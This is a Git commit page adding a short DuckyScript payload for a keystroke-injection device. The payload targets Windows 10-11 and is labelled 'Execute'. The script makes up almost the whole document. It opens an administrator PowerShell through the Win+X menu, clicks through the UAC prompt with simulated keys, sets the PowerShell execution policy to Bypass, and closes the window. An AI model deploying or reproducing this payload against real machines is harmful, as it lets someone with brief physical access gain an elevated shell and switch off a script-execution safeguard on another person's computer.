Starting a PowerShell with administrator permissions in Windows

pull/167/head
Aleff 2023-06-12 14:21:33 +02:00 committed by GitHub
parent 716a6bd80b
commit 696e20b062
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
REM ####################################################################################
REM # |
REM # Title : Starting a PowerShell with administrator permissions in Windows |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Execute |
REM # Target : Windows 10-11 |
REM # |
REM ####################################################################################
REM Requirements:
REM - Nothing
DELAY 1000
GUI x
DELAY 500
STRING a
DELAY 500
LEFT_ARROW
DELAY 500
ENTER
DELAY 2000
STRINGLN Get-ExecutionPolicy -List
DELAY 500
STRINGLN Set-ExecutionPolicy Bypass
DELAY 500
STRINGLN Get-ExecutionPolicy -List
DELAY 500
ALT F4